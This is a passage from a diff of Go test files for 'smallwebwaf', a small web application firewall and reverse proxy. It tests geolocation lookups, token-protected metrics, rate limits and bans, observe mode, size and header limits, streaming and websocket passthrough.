func setLookupHeaders(header http.Header, asn, country string) {
if asn != "" {
header.Set(asnHeader, asn)
internal/proxy/lookup_test.go
+11 -76
View File
@@ -1,7 +1,9 @@
package proxy_test
import (
"net"
"net/http"
"net/http/httptest"
"net/netip"
"path/filepath"
"slices"
@@ -84,75 +86,6 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
}
}
func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Parallel()
// The country list has a new client's request wait for its answer,
// which the stand-in for GeoJS gives only once released.
geojsURL, asked, release := startHeldGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
requestFromDE := func() *http.Request {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
return req
}
// fromDE's first request arrives two seconds before a minute ends,
// and waits for GeoJS.
first, httpClient := requestFromDE(), newClient(t)
firstEnded := make(chan error, 1)
go func() {
res, err := httpClient.Do(first)
if err == nil {
err = readAnswer(res).err
}
firstEnded <- err
}()
waitUntil(func() bool { return len(asked()) == 1 })
// Half a second into the next minute, the answer is kept, as an edit
// of lookups.json would keep it, while the first request still waits
// for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}})
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
// GeoJS answers, and the first request goes on.
release()
err := <-firstEnded
if err != nil {
t.Fatalf("first request: %v", err)
}
wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
// The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count
// was kept.
clk.advance(500 * time.Millisecond)
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf("the third request's count in the minute is %v, want 3", got)
}
}
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t.Parallel()
@@ -316,8 +249,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: on,
addLookupHeaders: "true",
})
s := &sender{t: t, addr: addr, out: out}
@@ -381,19 +313,22 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
// network, which would keep that clock from moving on: the request is
// handed to the proxy's handler, and GeoJS is one that never answers.
synctest.Test(t, func(t *testing.T) {
// Not the default. The exclusive list needs the answer, and the app
// is never reached.
// Not the default second. The exclusive list needs the answer, and
// the app is never reached.
const timeout = 3 * time.Second
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
map[string]string{
server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
time.Now, map[string]string{
lookupTimeout: timeout.String(),
allowedCountries: "DE",
})
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody)
req.RemoteAddr = net.JoinHostPort(fromDE, "1234")
began := time.Now()
serveFromDE(t, server, http.MethodGet, http.NoBody)
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
if waited := time.Since(began); waited != timeout {
t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
internal/proxy/metrics_test.go
+163 -49
View File
@@ -7,6 +7,8 @@ import (
"net/netip"
"strconv"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
@@ -28,21 +30,41 @@ const (
func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", nil)
var calls atomic.Int32
app := startApp(t, func(http.ResponseWriter, *http.Request) {
calls.Add(1)
})
addr, out := startProxy(t, app.URL, nil)
// An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} {
s.adminRequest(authorization, http.MethodGet, proxy.MetricsPath, "",
http.StatusNotFound)
for i, authorization := range []string{bearer, "Bearer ", ""} {
req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
if authorization != "" {
req.Header.Set("Authorization", authorization)
}
wantStatus(t, do(t, req), http.StatusNotFound)
wantLine(t, out.requestLines(t, i+1)[i], http.StatusNotFound,
requestlog.ActionAdmin)
}
if calls.Load() != 0 {
t.Errorf("the app was called %d times, want never", calls.Load())
}
}
func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
var calls atomic.Int32
for _, tc := range []struct {
app := startApp(t, func(http.ResponseWriter, *http.Request) {
calls.Add(1)
})
addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
for i, tc := range []struct {
method, path, authorization string
status int
}{
@@ -59,7 +81,14 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound},
{http.MethodPost, proxy.HealthPath, "", http.StatusNotFound},
} {
got := s.adminRequest(tc.authorization, tc.method, tc.path, "", tc.status)
req := newRequest(t, tc.method, addr, tc.path, http.NoBody)
if tc.authorization != "" {
req.Header.Set("Authorization", tc.authorization)
}
got := do(t, req)
wantStatus(t, got, tc.status)
wantLine(t, out.requestLines(t, i+1)[i], tc.status, requestlog.ActionAdmin)
if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -72,28 +101,58 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
t.Errorf("the metrics are\n%s", got.body)
}
}
if calls.Load() != 0 {
t.Errorf("the app was called %d times, want never", calls.Load())
}
}
func TestMetricsAreAskedForThroughTheChecks(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
rateLimitPerMinute: "1",
})
// Asking for the metrics counts toward the client's limit of one
// request a minute, so its next request breaks it, and bans it. A
// banned client is refused the metrics too.
s.scrape(client)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
s.requestWithHeader(client, proxy.MetricsPath, "Authorization: "+bearer,
http.StatusForbidden, requestlog.ActionBanned)
}
func TestMetricsCountTheTraffic(t *testing.T) {
t.Parallel()
arrived, release := make(chan struct{}), make(chan struct{})
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
if r.URL.Path == "/held" {
close(arrived)
<-release
}
_, _ = io.WriteString(w, "hello")
})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token})
releaseApp := sync.OnceFunc(func() { close(release) })
t.Cleanup(releaseApp)
addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
out.endedLines(t, 2)
out.requestLines(t, 2)
forward := `{action="forward",instance="app",status_class="2xx"}`
notFound := `{action="admin",instance="app",status_class="4xx"}`
// The request for the metrics is itself under way.
metrics := scrape(t, server.Addr)
metrics := scrape(t, addr)
wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1)
wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1)
wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3)
@@ -107,20 +166,50 @@ func TestMetricsCountTheTraffic(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1)
metric(t, metrics, `go_goroutines{instance="app"}`)
metric(t, metrics, `process_start_time_seconds{instance="app"}`)
// A request the app holds is under way until it ends.
httpClient := newClient(t)
held := newRequest(t, http.MethodGet, addr, "/held", http.NoBody)
ended := make(chan error, 1)
go func() {
res, err := httpClient.Do(held)
if err == nil {
err = readAnswer(res).err
}
ended <- err
}()
<-arrived
wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 2)
releaseApp()
err := <-ended
if err != nil {
t.Fatalf("held request: %v", err)
}
out.requestLines(t, 5)
wantMetric(t, scrape(t, addr), `smallwebwaf_requests_in_flight{instance="app"}`, 1)
}
func TestMetricsCountLimitsAndBans(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS
const (
scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.50" // in SWWAF_DENY_NETS
)
s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
maxBanDuration: "2h",
metricsToken: token,
rateLimitPerMinute: "1",
rateLimitExemptNets: scraper,
denyNets: denied,
banResponse: "close",
limitBanDuration: "1h",
maxBanDuration: "2h",
})
// SWWAF_BAN_RESPONSE=close sends no status at all.
@@ -130,7 +219,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionRateLimited)
metrics := s.scrape()
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
@@ -141,35 +230,38 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0)
clk.advance(time.Hour)
wantMetric(t, s.scrape(), `smallwebwaf_active_bans{instance="app"}`, 0)
wantMetric(t, s.scrape(scraper), `smallwebwaf_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer
// than SWWAF_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionRateLimited)
metrics = s.scrape()
metrics = s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
// denied and client.
wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 2)
// denied, client, and the scraper as of its earlier requests.
wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 3)
}
func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
s, clk, server := startWithClock(t, "", map[string]string{
metricsToken: token,
adminToken: adminSecret,
metricsToken: token,
adminToken: adminSecret,
rateLimitExemptNets: scraper,
})
const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}`
wantMetric(t, s.scrape(), admins, 0)
wantMetric(t, s.scrape(scraper), admins, 0)
// As an admin's edit of bans.json that adds a ban is taken in.
server.Ledger.LoadEdit([]bans.Ban{{
@@ -177,11 +269,11 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
Start: clk.Now(),
}})
wantMetric(t, s.scrape(), admins, 1)
wantMetric(t, s.scrape(scraper), admins, 1)
// And a ban made through the endpoint.
s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
wantMetric(t, s.scrape(), admins, 2)
wantMetric(t, s.scrape(scraper), admins, 2)
}
func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
@@ -220,7 +312,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
// Each is counted before the next is sent, so that the
// countries are ranked in the order sent.
lines++
out.endedLines(t, lines)
out.requestLines(t, lines)
}
}
@@ -229,7 +321,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
send(fromDE, 2, http.StatusOK)
send(fromFR, 1, http.StatusOK)
metrics := scrape(t, server.Addr)
metrics := scrape(t, addr)
lines++
wantMetric(t, metrics,
@@ -257,7 +349,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
// from then on, and DE's is gone.
send(fromFR, 3, http.StatusOK)
metrics = scrape(t, server.Addr)
metrics = scrape(t, addr)
wantMetric(t, metrics,
`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics,
@@ -291,12 +383,13 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
})
// With one AS number of its own, the other is counted as other.
// With one AS number of its own, the other is counted as other. The
// metrics are asked for from a private address, which has no AS number.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromKP, http.StatusOK, requestlog.ActionForward)
metrics := s.scrape()
metrics := s.scrape("10.0.0.9")
wantMetric(t, metrics,
`smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2)
wantMetric(t, metrics,
@@ -319,12 +412,11 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
t.Cleanup(geojs.Close)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
deniedCountries: "kp",
})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
deniedCountries: "kp",
})
// GeoJS fails, so the client counts as coming from an unknown country,
// which SWWAF_DENIED_COUNTRIES does not refuse.
@@ -332,16 +424,16 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once SWWAF_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended.
// The client stops waiting for GeoJS after a second, so GeoJS's
// failure can come after its request has ended.
deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr)
metrics := scrape(t, addr)
for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 &&
time.Now().Before(deadline) {
time.Sleep(pollInterval)
metrics = scrape(t, server.Addr)
metrics = scrape(t, addr)
}
wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1)
@@ -360,8 +452,8 @@ func keptAnswer(addr, country string) lookup.Answer {
}
}
// scrape asks servewaf at addr for the metrics, with the token, and returns
// them.
// scrape asks smallwebwaf at addr for the metrics, with the token, and
// returns them.
func scrape(t *testing.T, addr string) string {
t.Helper()
@@ -376,12 +468,15 @@ func scrape(t *testing.T, addr string) string {
return string(got.body)
}
// scrape asks for the metrics, with the token, and returns them.
func (s *sender) scrape() string {
// scrape asks for the metrics, with the token, from the client at from,
// and returns them.
func (s *sender) scrape(from string) string {
s.t.Helper()
return string(s.adminRequest(bearer, http.MethodGet, proxy.MetricsPath, "",
http.StatusOK).body)
_, metrics := s.requestWithHeader(from, proxy.MetricsPath, "Authorization: "+bearer,
http.StatusOK, requestlog.ActionAdmin)
return metrics
}
// metric returns the value of series in metrics, which are in the
@@ -429,3 +524,22 @@ func wantNoSeries(t *testing.T, metrics, series string) {
t.Errorf("there is a series %s", series)
}
}
// wantLimitHits checks that the metrics of smallwebwaf at addr count hits
// requests that passed the size or time limit of the setting limit, with
// no series for it when hits is 0.
func wantLimitHits(t *testing.T, addr, limit string, hits int) {
t.Helper()
series := `smallwebwaf_size_and_time_limit_hits_total{instance="app",limit="` +
limit + `"}`
metrics := scrape(t, addr)
if hits == 0 {
wantNoSeries(t, metrics, series)
return
}
wantMetric(t, metrics, series, float64(hits))
}
internal/proxy/observe_test.go
+66 -3
View File
@@ -1,13 +1,16 @@
package proxy_test
import (
"bytes"
"io"
"net/http"
"net/netip"
"reflect"
"sync/atomic"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
@@ -35,7 +38,6 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -72,6 +74,11 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
// Passed to the app, which answered it.
line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, sent.refusal)
if line.UpstreamStatus != http.StatusOK {
t.Errorf("log line has upstream_status %d, want 200",
line.UpstreamStatus)
}
}
})
}
@@ -119,11 +126,67 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
}
got := server.Ledger.Snapshot()
if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
if len(got) != 1 || got[0] != kept {
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
}
}
func TestObserveModeKeepsTheSizeLimitsAndTheToken(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS
var calls atomic.Int32
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
calls.Add(1)
answerWithSize(w, 2*sizeLimit, true)
})
addr, out := startProxy(t, app.URL, map[string]string{
mode: observe,
trustedProxies: trustLocalhost,
denyNets: denied,
requestMaxBytes: sizeLimitSetting,
responseMaxBytes: sizeLimitSetting,
metricsToken: token,
})
// SWWAF_DENY_NETS would refuse each request; instead a size limit or
// the missing token does.
for i, tc := range []struct {
method, path string
body io.Reader
status int
action string
}{
{
http.MethodPost, "/upload", bytes.NewReader(make([]byte, 2*sizeLimit)),
http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge,
},
{
http.MethodGet, "/download", http.NoBody,
http.StatusBadGateway, requestlog.ActionTooLarge,
},
{
http.MethodGet, proxy.MetricsPath, http.NoBody,
http.StatusUnauthorized, requestlog.ActionAdmin,
},
} {
req := newRequest(t, tc.method, addr, tc.path, tc.body)
req.Header.Set(forwardedFor, denied)
wantStatus(t, do(t, req), tc.status)
line := out.requestLines(t, i+1)[i]
wantLine(t, line, tc.status, tc.action)
wantWouldAction(t, line, requestlog.ActionDenied)
}
// The upload was refused before it reached the app.
if calls.Load() != 1 {
t.Errorf("the app was called %d times, want once", calls.Load())
}
}
// wantWouldAction checks the request log line's would_action, and that a
// line that should have none has no such field.
func wantWouldAction(t *testing.T, line logLine, want string) {
internal/proxy/passthrough_test.go
+468
View File
@@ -0,0 +1,468 @@
package proxy_test
import (
"bufio"
"bytes"
"errors"
"io"
"net/http"
"reflect"
"slices"
"strings"
"sync/atomic"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// A request target with an escaped slash and space in its path, and a
// query with a parameter ReverseProxy cannot parse.
const (
rawPath = "/some%2Fpath/with%20space"
rawQuery = "b=2&a=1&bad=%zz;x"
)
// chunkSize is the size of each part of a body a test sends in parts.
const chunkSize = 1 << 10
var errNotStreamed = errors.New("the first part never reached the app")
// appSaw is what the app received.
type appSaw struct {
method string
target string
header http.Header
body []byte
}
func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
t.Parallel()
requestBody := bytes.Repeat([]byte("request body "), 8000)
answerBody := bytes.Repeat([]byte("answer body "), 8000)
saw := make(chan appSaw, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
saw <- appSaw{r.Method, r.RequestURI, r.Header.Clone(), body}
w.Header().Set("X-App", "yes")
w.Header().Add("Set-Cookie", "a=1")
w.Header().Add("Set-Cookie", "b=2")
w.WriteHeader(http.StatusTeapot)
_, _ = w.Write(answerBody)
})
addr, out := startProxy(t, app.URL, nil)
req := newRequest(t, http.MethodPatch, addr, rawPath+"?"+rawQuery,
bytes.NewReader(requestBody))
req.Header.Add("X-Test", "one")
req.Header.Add("X-Test", "two")
req.Header.Set("User-Agent", "test-agent")
got := do(t, req)
wantAppSaw(t, <-saw, requestBody)
wantAnswer(t, got, answerBody)
line := out.requestLine(t)
wantLine(t, line, http.StatusTeapot, requestlog.ActionForward)
wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
}
// wantAppSaw checks that the app received the test's request unchanged.
func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
t.Helper()
if saw.method != http.MethodPatch || saw.target != rawPath+"?"+rawQuery {
t.Errorf("app saw %s %s, want %s %s", saw.method, saw.target,
http.MethodPatch, rawPath+"?"+rawQuery)
}
if !slices.Equal(saw.header.Values("X-Test"), []string{"one", "two"}) {
t.Errorf("app saw X-Test %q", saw.header.Values("X-Test"))
}
if saw.header.Get("User-Agent") != "test-agent" {
t.Errorf("app saw User-Agent %q", saw.header.Get("User-Agent"))
}
if !bytes.Equal(saw.body, body) {
t.Errorf("app saw a body of %d bytes, want the %d sent",
len(saw.body), len(body))
}
}
// wantAnswer checks that the client received the app's answer unchanged.
func wantAnswer(t *testing.T, got answer, body []byte) {
t.Helper()
wantStatus(t, got, http.StatusTeapot)
if got.header.Get("X-App") != "yes" {
t.Errorf("client got X-App %q", got.header.Get("X-App"))
}
if !slices.Equal(got.header.Values("Set-Cookie"), []string{"a=1", "b=2"}) {
t.Errorf("client got Set-Cookie %q", got.header.Values("Set-Cookie"))
}
if got.err != nil || !bytes.Equal(got.body, body) {
t.Errorf("client got %d bytes (%v), want the %d the app sent",
len(got.body), got.err, len(body))
}
}
// wantRequestFields checks the log line's fields about the request. Its
// time, its id and its timings are checked only for being there.
func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) {
t.Helper()
bytes := float64(sent + received)
want := withTimings(line, requestlog.Line{
Type: requestType, Time: line.Time, Instance: "app",
ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host,
Path: rawPath, Query: rawQuery, Protocol: protocol,
Status: http.StatusTeapot, RequestBytes: int64(sent),
ResponseBytes: int64(received), UserAgent: "test-agent",
RequestID: line.RequestID, PeerIP: localhost, ClientGroup: localhost + "/32",
ContentLength: int64(sent), ResponseContentType: "text/plain; charset=utf-8",
UpstreamStatus: http.StatusTeapot, Action: requestlog.ActionForward,
Counts: ratelimit.Counts{
Minute: 1, Hour: 1, Day: 1,
MinuteBytes: bytes, HourBytes: bytes, DayBytes: bytes,
},
})
if !reflect.DeepEqual(line.Line, want) {
t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want)
}
_, err := time.Parse(time.RFC3339, line.Time)
if err != nil || line.RequestID == "" || line.DurationTotal <= 0 ||
line.DurationUpstreamTotal == nil || *line.DurationUpstreamTotal <= 0 {
t.Errorf("log line has time %q, request_id %q and durations %v and %v",
line.Time, line.RequestID, line.DurationTotal,
line.fields["duration_upstream_total"])
}
}
func TestStreamsTheRequestBody(t *testing.T) {
t.Parallel()
chunk := bytes.Repeat([]byte("x"), chunkSize)
firstArrived := make(chan struct{})
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
first := make([]byte, len(chunk))
_, err := io.ReadFull(r.Body, first)
if err != nil {
return
}
close(firstArrived)
rest, _ := io.ReadAll(r.Body)
_, _ = w.Write(rest)
})
addr, _ := startProxy(t, app.URL, nil)
body, writer := io.Pipe()
go func() {
_, _ = writer.Write(chunk)
select {
case <-firstArrived:
_, _ = writer.Write(chunk)
_ = writer.Close()
case <-time.After(waitLimit):
_ = writer.CloseWithError(errNotStreamed)
}
}()
got := do(t, newRequest(t, http.MethodPost, addr, "/upload", body))
if got.err != nil || !bytes.Equal(got.body, chunk) {
t.Errorf("app read %d bytes after the first part (%v), want %d",
len(got.body), got.err, len(chunk))
}
}
func TestStreamsTheAnswerBody(t *testing.T) {
t.Parallel()
chunk := bytes.Repeat([]byte("y"), chunkSize)
firstArrived := make(chan struct{})
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write(chunk)
_ = http.NewResponseController(w).Flush()
select {
case <-firstArrived:
_, _ = w.Write(chunk)
case <-time.After(waitLimit):
}
})
addr, _ := startProxy(t, app.URL, nil)
req := newRequest(t, http.MethodGet, addr, "/download", http.NoBody)
res, err := newClient(t).Do(req)
if err != nil {
t.Fatalf("request: %v", err)
}
first := make([]byte, len(chunk))
_, err = io.ReadFull(res.Body, first)
close(firstArrived)
got := readAnswer(res)
if err != nil || got.err != nil || !bytes.Equal(got.body, chunk) {
t.Errorf("client read %d bytes after the first part (%v, %v), want %d",
len(got.body), err, got.err, len(chunk))
}
}
func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) {
t.Parallel()
app := startApp(t, echoAfterUpgrade)
addr, out := startProxy(t, app.URL, map[string]string{
clientRequestTimeout: shortTimeoutSetting,
clientResponseTimeout: shortTimeoutSetting,
upstreamRequestTimeout: shortTimeoutSetting,
upstreamResponseTimeout: shortTimeoutSetting,
})
conn := dial(t, addr)
send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
reader := bufio.NewReader(conn)
res, err := http.ReadResponse(reader, nil)
if err != nil {
t.Fatalf("read the answer to the upgrade: %v", err)
}
answered := time.Now()
_ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols {
t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
}
// Every timeout started before the upgrade was answered, the response
// timeouts last, at the end of the request: wait until just past
// shortTimeout after the answer was read, then use the connection.
time.Sleep(time.Until(answered.Add(shortTimeout + 100*time.Millisecond)))
send(t, conn, "still here\n")
echoed, err := reader.ReadString('\n')
if err != nil || echoed != "still here\n" {
t.Errorf("echo %q (%v), want %q", echoed, err, "still here\n")
}
_ = conn.Close()
wantLine(t, out.requestLine(t), http.StatusSwitchingProtocols,
requestlog.ActionForward)
}
// echoAfterUpgrade is an app that switches protocols on request, and then
// sends back each line it receives.
func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("Upgrade") != "websocket" {
http.Error(w, "not an upgrade", http.StatusBadRequest)
return
}
conn, buffered, err := http.NewResponseController(w).Hijack()
if err != nil {
return
}
defer func() {
_ = conn.Close()
}()
_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
_ = buffered.Flush()
for {
line, err := buffered.ReadString('\n')
if err != nil {
return
}
_, _ = buffered.WriteString(line)
_ = buffered.Flush()
}
}
func TestServerHasTheDefaultLimits(t *testing.T) {
t.Parallel()
cfg, err := config.FromEnvironment(func(string) (string, bool) { return "", false })
if err != nil {
t.Fatalf("default settings: %v", err)
}
server := proxy.New(proxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName, cfg.LogLevel),
})
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
t.Errorf("server listens on %q with header limit %d, idle time %s and "+
"header timeout %s", server.Addr, server.MaxHeaderBytes,
server.IdleTimeout, server.ReadHeaderTimeout)
}
}
func TestRefusesHeadersOverTheLimit(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
limit int
}{
{"by default", nil, 32 << 10},
{"as set", map[string]string{clientHeaderMaxBytes: "8K"}, 8 << 10},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
var calls atomic.Int32
app := startApp(t, func(http.ResponseWriter, *http.Request) {
calls.Add(1)
})
addr, _ := startProxy(t, app.URL, tc.env)
// size counts every byte of the request: the request line,
// the headers and the blank line that ends them.
const (
start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: "
end = "\r\n\r\n"
)
for _, sent := range []struct{ size, want int }{
{tc.limit, http.StatusOK},
{tc.limit + 1, http.StatusRequestHeaderFieldsTooLarge},
} {
conn := dial(t, addr)
send(t, conn,
start+strings.Repeat("a", sent.size-len(start)-len(end))+end)
wantStatus(t, readResponse(t, conn), sent.want)
}
if calls.Load() != 1 {
t.Errorf("the app was called %d times, want once", calls.Load())
}
})
}
}
func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
t.Parallel()
// No test can listen on port 1: listening on port 0 gets one from 32768 up.
addr, out := startProxy(t, "http://"+localhost+":1", nil)
wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
line := out.requestLine(t)
wantLine(t, line, http.StatusBadGateway, requestlog.ActionUpstreamError)
// There never was a connection to the app, nor an answer from it.
wantTimings(t, line, "duration_total", "duration_checks",
"duration_upstream_total")
logged := slices.ContainsFunc(out.lines(t), func(line map[string]any) bool {
return line["type"] == "process" && line["msg"] == "request to the app failed"
})
if !logged {
t.Errorf("no process line says the request to the app failed")
}
}
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
t.Parallel()
// At error the warning that the request to the app failed is held back,
